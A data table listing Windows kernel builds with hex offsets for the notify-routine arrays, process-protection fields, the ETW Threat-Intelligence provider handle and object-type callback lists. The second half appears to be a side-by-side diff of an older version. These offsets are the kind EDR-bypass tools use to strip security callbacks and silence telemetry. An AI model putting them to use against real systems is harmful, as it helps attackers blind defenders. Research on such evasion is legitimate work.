ntoskrnl_17763-1999.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-2028.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-1971.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-2029.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-2090.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-2061.exe,4d58f0,4d5af0,4d56f0,6ca,406430,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-2114.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-2183.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-2145.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-2213.exe,4d6b70,4d6770,4d6970,6ca,407438,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-2268.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-2305.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-2300.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-2330.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-2237.exe,4d6b70,4d6770,4d6970,6ca,407438,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-2366.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-2452.exe,4d6970,4d6b70,4d6770,6ca,407470,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-2510.exe,4d6970,4d6b70,4d6770,6ca,407470,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-2458.exe,4d6970,4d6b70,4d6770,6ca,407470,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-253.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50,5422d0,5422f8,c8
ntoskrnl_17763-2565.exe,4d6970,4d6b70,4d6770,6ca,407470,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-2628.exe,4d68f0,4d6af0,4d66f0,6ca,407438,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-2686.exe,4d6930,4d6b30,4d6730,6ca,407410,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-2746.exe,4d6930,4d6b30,4d6730,6ca,407410,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-2803.exe,4d6930,4d6b30,4d6730,6ca,407410,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-2867.exe,4d6b30,4d6730,4d6930,6ca,407480,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-292.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50,5432d0,5432f8,c8
ntoskrnl_17763-2928.exe,4d6b30,4d6730,4d6930,6ca,407480,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-2931.exe,4d6b30,4d6730,4d6930,6ca,407480,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-3046.exe,4d6840,4d6a40,4d6640,6ca,407430,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-2989.exe,4d6880,4d6a80,4d6680,6ca,407450,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-316.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50,5432d0,5432f8,c8
ntoskrnl_17763-3165.exe,4d6b40,4d6740,4d6940,6ca,407498,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-404.exe,4dad70,4da970,4dab70,6ca,40b718,20,50,5432d0,5432f8,c8
ntoskrnl_17763-348.exe,4dabb0,4da7b0,4da9b0,6ca,40afb8,20,50,5432d0,5432f8,c8
ntoskrnl_17763-437.exe,4dad70,4da970,4dab70,6ca,40b718,20,50,5432d0,5432f8,c8
ntoskrnl_17763-379.exe,4dabf0,4da7f0,4da9f0,6ca,40aff8,20,50,5432d0,5432f8,c8
ntoskrnl_17763-439.exe,4dad70,4da970,4dab70,6ca,40b718,20,50,5432d0,5432f8,c8
ntoskrnl_17763-475.exe,4daaf0,4dacf0,4da8f0,6ca,40b730,20,50,5432d0,5432f8,c8
ntoskrnl_17763-503.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50,5432d0,5432f8,c8
ntoskrnl_17763-557.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50,5432d0,5432f8,c8
ntoskrnl_17763-55.exe,45c4f0,45c0f0,45c2f0,6ca,40f098,20,50,4c52d0,4c52f8,c8
ntoskrnl_17763-504.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50,5432d0,5432f8,c8
ntoskrnl_17763-529.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50,5432d0,5432f8,c8
ntoskrnl_17763-615.exe,4dac70,4da870,4daa70,6ca,40b610,20,50,5432d0,5432f8,c8
ntoskrnl_17763-652.exe,4dabf0,4da7f0,4da9f0,6ca,40b5f0,20,50,5432d0,5432f8,c8
ntoskrnl_17763-593.exe,4dac70,4da870,4daa70,6ca,40b610,20,50,5432d0,5432f8,c8
ntoskrnl_17763-719.exe,4daa30,4dac30,4da830,6ca,40b658,20,50,5432d0,5432f8,c8
ntoskrnl_17763-737.exe,4da9f0,4dabf0,4da7f0,6ca,40b5d8,20,50,5432d0,5432f8,c8
ntoskrnl_17763-678.exe,4dac30,4da830,4daa30,6ca,40b610,20,50,5432d0,5432f8,c8
ntoskrnl_17763-771.exe,4dac70,4da870,4daa70,6ca,40b630,20,50,5432d0,5432f8,c8
ntoskrnl_17763-802.exe,4dacb0,4da8b0,4daab0,6ca,40b6c0,20,50,5432d0,5432f8,c8
ntoskrnl_17763-831.exe,4d8c70,4d8870,4d8a70,6ca,409610,20,50,5412d0,5412f8,c8
ntoskrnl_17763-864.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50,5412d0,5412f8,c8
ntoskrnl_17763-973.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50,5412d0,5412f8,c8
ntoskrnl_17763-914.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50,5412d0,5412f8,c8
ntoskrnl_18362-1016.exe,505fa0,505ba0,505da0,6fa,434bf8,20,60,574390,5743b8,c8
ntoskrnl_18362-1049.exe,503fe0,503be0,503de0,6fa,432c38,20,60,572390,5723b8,c8
ntoskrnl_18362-1110.exe,503fa0,503ba0,503da0,6fa,432c18,20,60,572390,5723b8,c8
ntoskrnl_18362-1082.exe,503fa0,503ba0,503da0,6fa,432bf8,20,60,572390,5723b8,c8
ntoskrnl_18362-1139.exe,5040a0,503ca0,503ea0,6fa,432c98,20,60,572390,5723b8,c8
ntoskrnl_18362-116.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8
ntoskrnl_18362-1171.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8
ntoskrnl_18362-1198.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8
ntoskrnl_18362-1237.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8
ntoskrnl_18362-1256.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8
ntoskrnl_18362-1316.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8
ntoskrnl_18362-1350.exe,503b60,503d60,503960,6fa,432bf8,20,60,572390,5723b8,c8
ntoskrnl_18362-1377.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8
ntoskrnl_18362-1379.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8
ntoskrnl_18362-1411.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8
ntoskrnl_18362-1440.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8
ntoskrnl_18362-1441.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8
ntoskrnl_18362-145.exe,500de0,5009e0,500be0,6fa,42f9e8,20,50,56f390,56f3b8,c8
ntoskrnl_18362-1443.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8
ntoskrnl_18362-1474.exe,503ba0,503da0,5039a0,6fa,432c38,20,60,572390,5723b8,c8
ntoskrnl_18362-1500.exe,503b60,503d60,503960,6fa,432c18,20,60,572390,5723b8,c8
ntoskrnl_18362-1533.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8
ntoskrnl_18362-1556.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8
ntoskrnl_18362-1621.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8
ntoskrnl_18362-1593.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8
ntoskrnl_18362-1646.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8
ntoskrnl_18362-1734.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8
ntoskrnl_18362-1679.exe,502da0,5029a0,502ba0,6fa,431bf8,20,60,571390,5713b8,c8
ntoskrnl_18362-1801.exe,503ce0,503ee0,503ae0,6fa,432c38,20,60,572390,5723b8,c8
ntoskrnl_18362-1854.exe,503ba0,503da0,5039a0,6fa,432c58,20,60,572390,5723b8,c8
ntoskrnl_18362-1977.exe,503ba0,503da0,5039a0,6fa,432c50,20,60,572390,5723b8,c8
ntoskrnl_18362-1916.exe,503ba0,503da0,5039a0,6fa,432c50,20,60,572390,5723b8,c8
ntoskrnl_18362-2037.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8
ntoskrnl_18362-2039.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8
ntoskrnl_18362-207.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8
ntoskrnl_18362-2158.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8
ntoskrnl_18362-2094.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8
ntoskrnl_18362-2212.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8
ntoskrnl_18362-239.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8
ntoskrnl_18362-2274.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8
ntoskrnl_18362-267.exe,503f60,503b60,503d60,6fa,432c60,20,50,572390,5723b8,c8
ntoskrnl_18362-295.exe,503fa0,503ba0,503da0,6fa,432c48,20,50,572390,5723b8,c8
ntoskrnl_18362-329.exe,504ee0,5050e0,504ce0,6fa,433c28,20,50,573390,5733b8,c8
ntoskrnl_18362-30.exe,500d60,500960,500b60,6fa,42fa40,20,50,56f390,56f3b8,c8
ntoskrnl_18362-356.exe,505060,504c60,504e60,6fa,433c90,20,50,573390,5733b8,c8
ntoskrnl_18362-357.exe,505060,504c60,504e60,6fa,433c90,20,50,573390,5733b8,c8
ntoskrnl_18362-387.exe,505fe0,505be0,505de0,6fa,434c38,20,50,574390,5743b8,c8
ntoskrnl_18362-388.exe,505fe0,505be0,505de0,6fa,434c38,20,50,574390,5743b8,c8
ntoskrnl_18362-476.exe,506060,505c60,505e60,6fa,434c78,20,50,574390,5743b8,c8
ntoskrnl_18362-449.exe,505da0,505fa0,505ba0,6fa,434c58,20,50,574390,5743b8,c8
ntoskrnl_18362-418.exe,505ee0,5060e0,505ce0,6fa,434c58,20,50,574390,5743b8,c8
ntoskrnl_18362-535.exe,506020,505c20,505e20,6fa,434c78,20,50,574390,5743b8,c8
ntoskrnl_18362-592.exe,506060,505c60,505e60,6fa,434c80,20,50,574390,5743b8,c8
ntoskrnl_18362-657.exe,505e60,506060,505c60,6fa,434c78,20,50,574390,5743b8,c8
ntoskrnl_18362-628.exe,506060,505c60,505e60,6fa,434c78,20,50,574390,5743b8,c8
ntoskrnl_18362-693.exe,505de0,505fe0,505be0,6fa,434c38,20,60,574390,5743b8,c8
ntoskrnl_18362-719.exe,505e20,506020,505c20,6fa,434c78,20,60,574390,5743b8,c8
ntoskrnl_18362-720.exe,505e20,506020,505c20,6fa,434c78,20,60,574390,5743b8,c8
ntoskrnl_18362-752.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60,574390,5743b8,c8
ntoskrnl_18362-778.exe,505e60,506060,505c60,6fa,434c70,20,60,574390,5743b8,c8
ntoskrnl_18362-753.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60,574390,5743b8,c8
ntoskrnl_18362-815.exe,505e60,506060,505c60,6fa,434c70,20,60,574390,5743b8,c8
ntoskrnl_18362-836.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60,574390,5743b8,c8
ntoskrnl_18362-904.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60,574390,5743b8,c8
ntoskrnl_18362-900.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60,574390,5743b8,c8
ntoskrnl_19041-1023.exe,cec460,cec260,cec060,87a,c19db8,20,60,cfc410,cfc440,c8
ntoskrnl_18362-959.exe,505ea0,5060a0,505ca0,6fa,434cb8,20,60,574390,5743b8,c8
ntoskrnl_19041-1052.exe,cebfe0,cec3e0,cec1e0,87a,c19790,20,60,cfc410,cfc440,c8
ntoskrnl_18362-997.exe,505e60,506060,505c60,6fa,434c78,20,60,574390,5743b8,c8
ntoskrnl_19041-1.exe,cec0e0,cec2e0,cebee0,87a,c19898,20,60,cfb410,cfb440,c8
ntoskrnl_19041-1055.exe,cec020,cec420,cec220,87a,c19790,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1081.exe,cec1e0,cebfe0,cec3e0,87a,c19758,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1083.exe,cec420,cec220,cec020,87a,c19758,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1082.exe,cec420,cec220,cec020,87a,c19758,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1110.exe,cec120,cebf20,cec320,87a,c197f8,20,60,cfb410,cfb440,c8
ntoskrnl_19041-1202.exe,cec320,cec120,cebf20,87a,c197d0,20,60,cfb410,cfb440,c8
ntoskrnl_19041-1165.exe,cec2e0,cec0e0,cebee0,87a,c197a0,20,60,cfb410,cfb440,c8
ntoskrnl_19041-1151.exe,cec320,cec120,cebf20,87a,c197c0,20,60,cfb410,cfb440,c8
ntoskrnl_19041-1237.exe,cec320,cec120,cebf20,87a,c197d0,20,60,cfb410,cfb440,c8
ntoskrnl_19041-1266.exe,cec3a0,cec1a0,cebfa0,87a,c19770,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1288.exe,cec1a0,cebfa0,cec3a0,87a,c19790,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1320.exe,cec4e0,cec2e0,cec0e0,87a,c197c0,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1348.exe,cec4e0,cec2e0,cec0e0,87a,c197c0,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1387.exe,cec1a0,cec3a0,cebfa0,87a,c197a0,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1466.exe,cec020,cec220,cec420,87a,c19780,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1469.exe,cec020,cec220,cec420,87a,c19780,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1415.exe,cec1e0,cec3e0,cebfe0,87a,c197c0,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1503.exe,cebfa0,cec3a0,cec1a0,87a,c197a0,20,60,cfb410,cfb440,c8
ntoskrnl_19041-1566.exe,cec3e0,cec1e0,cebfe0,87a,c197f8,20,60,cfb410,cfb440,c8
ntoskrnl_19041-1526.exe,cec4e0,cec2e0,cec0e0,87a,c197a0,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1620.exe,cec460,cec260,cec060,87a,c19dc8,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1586.exe,cec3e0,cec1e0,cebfe0,87a,c197f8,20,60,cfb410,cfb440,c8
ntoskrnl_19041-1645.exe,cec3a0,cec1a0,cebfa0,87a,c19de8,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1682.exe,cec460,cec260,cec060,87a,c19dc8,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1706.exe,cec260,cec060,cec460,87a,c19e08,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1708.exe,cec460,cec260,cec060,87a,c19de8,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1806.exe,cec0e0,cec4e0,cec2e0,87a,c19df8,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1766.exe,cec4a0,cec2a0,cec0a0,87a,c19810,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1741.exe,cebf60,cec360,cec160,87a,c19770,20,60,cfb410,cfb440,c8
ntoskrnl_19041-1826.exe,cec3e0,cec1e0,cebfe0,87a,c19df8,20,60,cfc410,cfc440,c8
ntoskrnl_19041-1865.exe,cec120,cec520,cec320,87a,c19de0,20,60,cfc410,cfc440,c8
ntoskrnl_19041-264.exe,cec060,cec260,cebe60,87a,c19858,20,60,cfb410,cfb440,c8
ntoskrnl_19041-331.exe,cec320,cebf20,cec120,87a,c19898,20,60,cfb410,cfb440,c8
ntoskrnl_19041-329.exe,cec320,cebf20,cec120,87a,c19898,20,60,cfb410,cfb440,c8
ntoskrnl_19041-388.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60,cfb410,cfb440,c8
ntoskrnl_19041-423.exe,cec160,cec360,cebf60,87a,c198b8,20,60,cfb410,cfb440,c8
ntoskrnl_19041-488.exe,cec220,cec420,cec020,87a,c19918,20,60,cfc410,cfc440,c8
ntoskrnl_19041-450.exe,cec320,cebf20,cec120,87a,c198b8,20,60,cfb410,cfb440,c8
ntoskrnl_19041-572.exe,cec420,cec020,cec220,87a,c19938,20,60,cfc410,cfc440,c8
ntoskrnl_19041-508.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60,cfb410,cfb440,c8
ntoskrnl_19041-546.exe,cec420,cec020,cec220,87a,c19938,20,60,cfc410,cfc440,c8
ntoskrnl_19041-610.exe,cec220,cec420,cec020,87a,c19978,20,60,cfc410,cfc440,c8
ntoskrnl_19041-630.exe,cec220,cec420,cec020,87a,c19978,20,60,cfc410,cfc440,c8
ntoskrnl_19041-662.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60,cfb410,cfb440,c8
ntoskrnl_19041-685.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60,cfb410,cfb440,c8
ntoskrnl_19041-631.exe,cec220,cec420,cec020,87a,c19978,20,60,cfc410,cfc440,c8
ntoskrnl_19041-746.exe,cebfe0,cec3e0,cec1e0,87a,c198f8,20,60,cfb410,cfb440,c8
ntoskrnl_19041-789.exe,cec220,cec620,cec420,87a,c19998,20,60,cfc410,cfc440,c8
ntoskrnl_19041-844.exe,cec660,cec460,cec260,87a,c19fa8,20,60,cfc410,cfc440,c8
ntoskrnl_19041-804.exe,cec420,cec220,cec020,87a,c19918,20,60,cfc410,cfc440,c8
ntoskrnl_19041-870.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60,cfc410,cfc440,c8
ntoskrnl_19041-868.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60,cfc410,cfc440,c8
ntoskrnl_19041-867.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60,cfc410,cfc440,c8
ntoskrnl_19041-906.exe,cec5e0,cec3e0,cec1e0,87a,c199d0,20,60,cfc410,cfc440,c8
ntoskrnl_19041-928.exe,cec520,cec320,cec120,87a,c19950,20,60,cfc410,cfc440,c8
ntoskrnl_19041-985.exe,cec360,cec160,cebf60,87a,c19d78,20,60,cfb410,cfb440,c8
ntoskrnl_19041-964.exe,cec0e0,cebee0,cec2e0,87a,c19d38,20,60,cfb410,cfb440,c8
ntoskrnl_22000-194.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8
ntoskrnl_22000-258.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8
ntoskrnl_22000-282.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60,d06890,d068c0,c8
ntoskrnl_22000-318.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60,d06890,d068c0,c8
ntoskrnl_22000-348.exe,cf5e00,cf6200,cf6000,87a,c15d40,20,60,d06890,d068c0,c8
ntoskrnl_22000-376.exe,cf5e00,cf6200,cf6000,87a,c15d40,20,60,d06890,d068c0,c8
ntoskrnl_22000-434.exe,cf5dc0,cf61c0,cf5fc0,87a,c163b8,20,60,d06890,d068c0,c8
ntoskrnl_22000-438.exe,cf5e00,cf6200,cf6000,87a,c16398,20,60,d06890,d068c0,c8
ntoskrnl_22000-493.exe,cf6140,cf6340,cf5f40,87a,c15d58,20,60,d06890,d068c0,c8
ntoskrnl_22000-469.exe,cf6140,cf6340,cf5f40,87a,c15d38,20,60,d06890,d068c0,c8
ntoskrnl_22000-527.exe,cf6300,cf5f00,cf6100,87a,c15d58,20,60,d06890,d068c0,c8
ntoskrnl_22000-556.exe,cf62c0,cf5ec0,cf60c0,87a,c15d78,20,60,d06890,d068c0,c8
ntoskrnl_22000-593.exe,cf63c0,cf61c0,cf5fc0,87a,c15d78,20,60,d06890,d068c0,c8
ntoskrnl_22000-613.exe,cf6340,cf6140,cf5f40,87a,c15d78,20,60,d06890,d068c0,c8
ntoskrnl_22000-652.exe,cf62c0,cf60c0,cf5ec0,87a,c163d8,20,60,d06890,d068c0,c8
ntoskrnl_22000-675.exe,cf6300,cf6100,cf5f00,87a,c163d8,20,60,d06890,d068c0,c8
ntoskrnl_22000-739.exe,cf62c0,cf60c0,cf5ec0,87a,c163c0,20,60,d06890,d068c0,c8
ntoskrnl_22000-778.exe,cf6180,cf5f80,cf5d80,87a,c163b8,20,60,d06890,d068c0,c8
ntoskrnl_22000-795.exe,cf6180,cf5f80,cf5d80,87a,c163b8,20,60,d06890,d068c0,c8
ntoskrnl_22000-832.exe,cf6380,cf6180,cf5f80,87a,c163a8,20,60,d06890,d068c0,c8
ntoskrnl_7601-25740.exe,21c500,21c2e0,21c0c0,0,0,20,50,29e020,29e050,c0
ntoskrnl_9600-17031.exe,2e1a40,2e1840,2e1640,67a,0,10,50,354020,354048,c8
ntoskrnl_9600-19321.exe,2dcb10,2dc910,2dc710,67a,0,20,50,34f030,34f048,c8
ntoskrnl_9600-19376.exe,2dbb10,2db910,2db710,67a,0,20,50,34e030,34e048,c8
ntoskrnl_9600-19426.exe,2dbb10,2db910,2db710,67a,0,20,50,34e030,34e048,c8
ntoskrnl_9600-20144.exe,2dac50,2daa50,2da850,67a,0,20,50,34d030,34d048,c8
ntoskrnl_7601-17514.exe,ffffffffffffffff,ffffffffffffffff,ffffffffffffffff,0,0,8,38,16002c,160028,80
ntoskrnl_6003-21251.exe,1a9d00,1a9ae0,1a9a80,0,0,10,50,22c020,22c040,228
1 ntoskrnlVersion PspCreateProcessNotifyRoutineOffset PspCreateThreadNotifyRoutineOffset PspLoadImageNotifyRoutineOffset _PS_PROTECTIONOffset EtwThreatIntProvRegHandleOffset EtwRegEntry_GuidEntryOffset EtwGuidEntry_ProviderEnableInfoOffset PsProcessType PsThreadType CallbackList
2 ntoskrnl_9600-20111.exe ntoskrnl_19041-1889.exe 2dac50 cec060 2daa50 cec460 2da850 cec260 67a 87a 0 c19dd8 20 50 60 cfc410 cfc440 c8
3 ntoskrnl_10240-16384.exe ntoskrnl_10240-17609.exe 35d2e0 35c3e0 35d0e0 35c1e0 35cee0 35bfe0 6aa 0 20 50 3c41e8 3c4200 c8
4 ntoskrnl_10240-17394.exe ntoskrnl_10240-17738.exe 35d420 366520 35d220 366320 35d020 366120 6aa 6b2 0 20 50 3cd1e8 3cd200 c8
5 ntoskrnl_10240-17443.exe ntoskrnl_10240-17394.exe 35c420 35d420 35c220 35d220 35c020 35d020 6aa 0 20 50 3c51e8 3c5200 c8
6 ntoskrnl_10240-17446.exe ntoskrnl_10240-16384.exe 35c420 35d2e0 35c220 35d0e0 35c020 35cee0 6aa 0 20 50 3c51e8 3c5200 c8
7 ntoskrnl_10240-17488.exe ntoskrnl_10240-17643.exe 35c3e0 35c1e0 35bfe0 6aa 0 20 50 3c41e8 3c4200 c8
8 ntoskrnl_10240-17533.exe ntoskrnl_10240-17446.exe 35c3e0 35c420 35c1e0 35c220 35bfe0 35c020 6aa 0 20 50 3c41e8 3c4200 c8
9 ntoskrnl_10240-17609.exe ntoskrnl_10240-17709.exe 35c3e0 35c1e0 35bfe0 6aa 0 20 50 3c41e8 3c4200 c8
10 ntoskrnl_10240-17643.exe ntoskrnl_10240-17770.exe 35c3e0 366520 35c1e0 366320 35bfe0 366120 6aa 6b2 0 20 50 3cd1e8 3cd200 c8
11 ntoskrnl_10240-17709.exe ntoskrnl_10240-17533.exe 35c3e0 35c1e0 35bfe0 6aa 0 20 50 3c41e8 3c4200 c8
12 ntoskrnl_10240-17738.exe ntoskrnl_10240-17488.exe 366520 35c3e0 366320 35c1e0 366120 35bfe0 6b2 6aa 0 20 50 3c41e8 3c4200 c8
13 ntoskrnl_10240-17770.exe ntoskrnl_10240-17443.exe 366520 35c420 366320 35c220 366120 35c020 6b2 6aa 0 20 50 3c41e8 3c4200 c8
14 ntoskrnl_10240-17797.exe ntoskrnl_10240-18005.exe 366520 3694e0 366320 3692e0 366120 3690e0 6b2 0 20 50 3d0228 3d0248 c8
15 ntoskrnl_10240-17831.exe ntoskrnl_10240-17797.exe 366520 366320 366120 6b2 0 20 50 3cd1e8 3cd200 c8
16 ntoskrnl_10240-17861.exe ntoskrnl_10240-18063.exe 3664e0 369520 3662e0 369320 3660e0 369120 6b2 0 20 50 3d0228 3d0248 c8
17 ntoskrnl_10240-17889.exe ntoskrnl_10240-17831.exe 3644e0 366520 3642e0 366320 3640e0 366120 6b2 0 20 50 3cd1e8 3cd200 c8
18 ntoskrnl_10240-17914.exe ntoskrnl_10240-17889.exe 3644e0 3642e0 3640e0 6b2 0 20 50 3cc228 3cc248 c8
19 ntoskrnl_10240-17976.exe 3694e0 3692e0 3690e0 6b2 0 20 50 3d0228 3d0248 c8
20 ntoskrnl_10240-18005.exe ntoskrnl_10240-17861.exe 3694e0 3664e0 3692e0 3662e0 3690e0 3660e0 6b2 0 20 50 3cd228 3cd240 c8
21 ntoskrnl_10240-18036.exe ntoskrnl_10240-18158.exe 369520 369320 369120 6b2 0 20 50 3d0228 3d0248 c8
22 ntoskrnl_10240-18063.exe ntoskrnl_10240-18036.exe 369520 369320 369120 6b2 0 20 50 3d0228 3d0248 c8
23 ntoskrnl_10240-18094.exe ntoskrnl_10240-18132.exe 369520 369320 369120 6b2 0 20 50 3d0228 3d0248 c8
24 ntoskrnl_10240-18132.exe ntoskrnl_10240-18094.exe 369520 369320 369120 6b2 0 20 50 3d0228 3d0248 c8
25 ntoskrnl_10240-18158.exe ntoskrnl_10240-17914.exe 369520 3644e0 369320 3642e0 369120 3640e0 6b2 0 20 50 3cc228 3cc248 c8
26 ntoskrnl_10240-18275.exe ntoskrnl_10240-18545.exe 369520 3684e0 369320 3682e0 369120 3680e0 6b2 0 20 50 3ce228 3ce248 c8
27 ntoskrnl_10240-18303.exe ntoskrnl_10240-18275.exe 369520 369320 369120 6b2 0 20 50 3d0228 3d0248 c8
28 ntoskrnl_10240-18427.exe ntoskrnl_10240-18303.exe 367520 369520 367320 369320 367120 369120 6b2 0 20 50 3d0228 3d0248 c8
29 ntoskrnl_10240-18452.exe 367520 367320 367120 6b2 0 20 50 3cd228 3cd248 c8
30 ntoskrnl_10240-18485.exe ntoskrnl_10240-18575.exe 3684e0 3682e0 3680e0 6b2 0 20 50 3ce228 3ce248 c8
31 ntoskrnl_10240-18545.exe ntoskrnl_10240-18427.exe 3684e0 367520 3682e0 367320 3680e0 367120 6b2 0 20 50 3cd228 3cd248 c8
32 ntoskrnl_10240-18575.exe ntoskrnl_10240-18638.exe 3684e0 3682e0 3680e0 6b2 0 20 50 3ce228 3ce248 c8
33 ntoskrnl_10240-18608.exe 3684e0 3682e0 3680e0 6b2 0 20 50 3ce228 3ce248 c8
34 ntoskrnl_10240-18638.exe ntoskrnl_10240-18485.exe 3684e0 3682e0 3680e0 6b2 0 20 50 3ce228 3ce248 c8
35 ntoskrnl_10240-18666.exe 367560 367360 367160 6b2 0 20 50 3cd228 3cd248 c8
36 ntoskrnl_10240-18725.exe 367560 367360 367160 6b2 0 20 50 3cd228 3cd248 c8
37 ntoskrnl_10240-18756.exe 367560 367360 367160 6b2 0 20 50 3cd228 3cd248 c8
38 ntoskrnl_10240-18841.exe ntoskrnl_10240-19119.exe 367560 3664e0 367360 3662e0 367160 3660e0 6b2 0 20 50 3cc228 3cc248 c8
39 ntoskrnl_10240-18906.exe 367560 367360 367160 6b2 0 20 50 3cd228 3cd248 c8
40 ntoskrnl_10586-0.exe ntoskrnl_10240-18841.exe 317180 367560 316f80 367360 316d80 367160 6b2 0 20 50 3cd228 3cd248 c8
41 ntoskrnl_10586-1176.exe ntoskrnl_10240-19086.exe 3161c0 3664e0 315fc0 3662e0 315dc0 3660e0 6b2 0 20 50 3cc228 3cc248 c8
